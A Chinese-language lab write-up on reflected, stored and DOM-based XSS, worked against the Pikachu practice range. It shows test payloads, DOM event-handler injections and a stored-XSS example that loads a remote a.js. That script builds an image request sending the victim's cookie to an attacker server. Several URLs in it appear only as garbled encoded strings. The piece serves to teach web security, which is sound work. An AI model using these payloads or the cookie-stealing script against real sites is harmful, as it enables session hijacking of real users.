xss-- 反射型 / 存储型 /DOM 型
反射型 xss 是指攻击者构造包含恶意脚本的 URL,当用户点击该链接时,服务器将恶意脚本反射回页面并立即执行。恶意代码仅通过 URL 参数传递,用户点击后即触发。
主要特点:
一次性攻击:仅对点击恶意链接的用户生效
需诱导点击:攻击者需通过邮件、短信等渠道诱导用户点击恶意 URL
不经过服务器存储:恶意脚本直接从 URL反射到页面
反射型 xss ( get )
对于验证是否有 xss --rejected ,第一时间想到的是 <script>('xss')</script> 这个 payload
然而在我们输入的时候,发现还有个 </ script > 没闭环的情况下,已经无法输入了
猜测可能是前端对输入设有限制, F12 打开开发者工具找到对应的元素 --maxlength ,将其调大点以便于我们注入完整的 payload (注意调整是一次性的,注入之后就会失效)
在我们将 maxlength 设为 1000 后再输入,发现已经能完整注入了
提交后与我们预想的吻合,说明 xss--rejected 是存在的
反射型 xs s( post )
输入用户名密码登录后,再次尝试 <script>( 1 )</script> ,发现能完整输入,提交后也是显示 1 的弹窗,说明是存在 xss--rejected 的
那 xss ( get ) 和 xss ( post ) 这两种类型有什么区别呢?
那就要说到 get 和 post 的不同之处了
在 http 中, get 请求的参数以明文形式显示在 URL 中,例如
burp suite 抓包
而 post 请求的参数是不在 URL 中的,只能用抓包工具查看
针对 post 型的 xss-rejected ,可以注入 <script>alert(document.cookie)</script> 查看 cookie 信息(已经有登录过程,会得到 username 、 password 信息,但由于密码采取了其他加密手段使得我们得到的是加密后的内容了)
如果是在 get 型中注入的话,只会得到 sessionID (只针对 pikachu 靶场环境而言)
存储型 xss
存储型 xss 是指攻击者将恶意脚本提交并永久存储在服务器数据库中,当其他用户访问包含该恶意内容的页面时,恶意脚本自动执行。
主要特点:
持久性:恶意脚本长期驻留在服务器端
自动触发:无需用户主动点击,访问页面即触发
影响广泛:所有访问该页面的用户都会被攻击
同样注入 <script>alert('xss')</script> 返回弹窗证明存在 xss ,并且可以看出被服务器存储
我们可以注入 <script src=http:// 1 .1.1.1/a.js></script> 到服务器,当有人访问此页面时,他的浏览器将会解析我们注入的代码,去 http:// 1 .1.1.1/a.js 下载我们预先构造好的恶意脚本 a.js :
var img = new Image();
img.src = "db2K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0q4Q4x3X3f1I4i4K6u0W2x3g2)9J5k6e0q4Q4x3@1p5^5z5q4)9J5c8X3y4G2L8$3E0A6k6i4y4Q4x3X3g2H3K9s2m8Q4x3@1k6U0L8$3!0C8K9h3g2Q4x3@1c8Q4x3U0k6I4N6h3!0@1i4K6y4n7i4K6u0n7k6r3!0U0N6h3#2W2L8Y4c8Q4x3X3g2U0L8$3!0C8K9h3g2Q4x3@1t1`.
# 创建一个不可见的 i mage对象 , 将当前页面的 cookie 通过 URL参数发送到攻击者服务器 , 浏览器自动向 52bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0q4Q4x3X3f1I4i4K6u0W2x3g2)9J5k6e0q4Q4x3@1p5^5z5q4)9J5c8X3y4G2L8$3E0A6k6i4y4Q4x3X3g2H3K9s2l9`. 发起 get 请求,将用户 cookie 作为参数传递
利用反射型 xss 也能做到上述攻击
1. 攻击者构造一个恶意链接: 8d4K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6W2P5r3q4E0M7r3I4W2i4K6u0W2j5$3!0E0i4K6u0r3M7$3g2S2M7X3y4Z5i4K6y4r3M7g2)9K6c8q4)9J5y4X3I4@1i4K6y4n7M7$3y4J5K9i4m8@1 src=f06K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0q4Q4x3X3f1I4i4K6u0W2x3g2)9J5k6e0q4Q4x3V1k6S2i4K6u0W2K9Y4y4Q4x3U0k6Y4N6q4)9K6b7W2)9J5y4X3I4@1i4K6y4n7i4K6u0r3M7$3y4J5K9i4m8@1i4K6t1$3k6%4c8Q4x3@1t1`. ,并通过钓鱼邮件等方式诱骗受害者点击这个链接
2. 受害者点击链接后,他的浏览器向服务器发起请求
3. 服务器收到请求后,不加过滤地把参数 q 里的内容(也就是那个 <script> 标签)直接写入了返回的 html 页面中,并发回给他的浏览器
4. 他的浏览器收到页面,解析到 <script src=...> 标签,于是立刻去 517K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0q4Q4x3X3f1I4i4K6u0W2x3g2)9J5k6e0p5`. 下载并执行 a.js ,窃取他的 cookie
所以不管是反射型还是存储型,在能达成的攻击方面没有大的差异,只是一个是一锤子买卖,一个是埋了块地雷
DOM 型 xss
DOM 型 xss 其本质是前端开发中对不可信数据缺乏安全处理所导致的逻辑缺陷,攻击完全发生在客户端,不与服务器交互,通过 javascript 操作 DOM 元素实现攻击
主要特点
数据源获取:前端 JavaScript 通过 location.href 、 location.search 、 location.hash 、 document.referrer 、 localStorage 、 sessionStorage 等获取用户可控数据
DOM 动态操作:使用危险 API (如 innerHTML 、 outerHTML 、 document.write() 、 eval() 等)将未过滤的数据直接写入 DOM
脚本执行:浏览器在解析 DOM 时,自动将嵌入的恶意脚本识别为可执行节点并触发执行
随意输入 hahahahaha 后我们通过 F12 找到对应位置: <a href="hahahahaha">what do you see?</a> ,大概了解其构造
再看看这块儿的源码
也就是说我们只需要将前面的 ' 给闭合掉 ( 有点像 sql 注入 ) ,然后紧跟着我们要注入的 payload 就行了,他这里给出两个 payload , #' onmouseover=alert(1)> :是鼠标悬浮触发, ' onclick="alert('xss')"> 是点击触发,究其原因在于他已经为我们准备好了一个 what do you see ?的超链接,那这两种事件就显得合情合理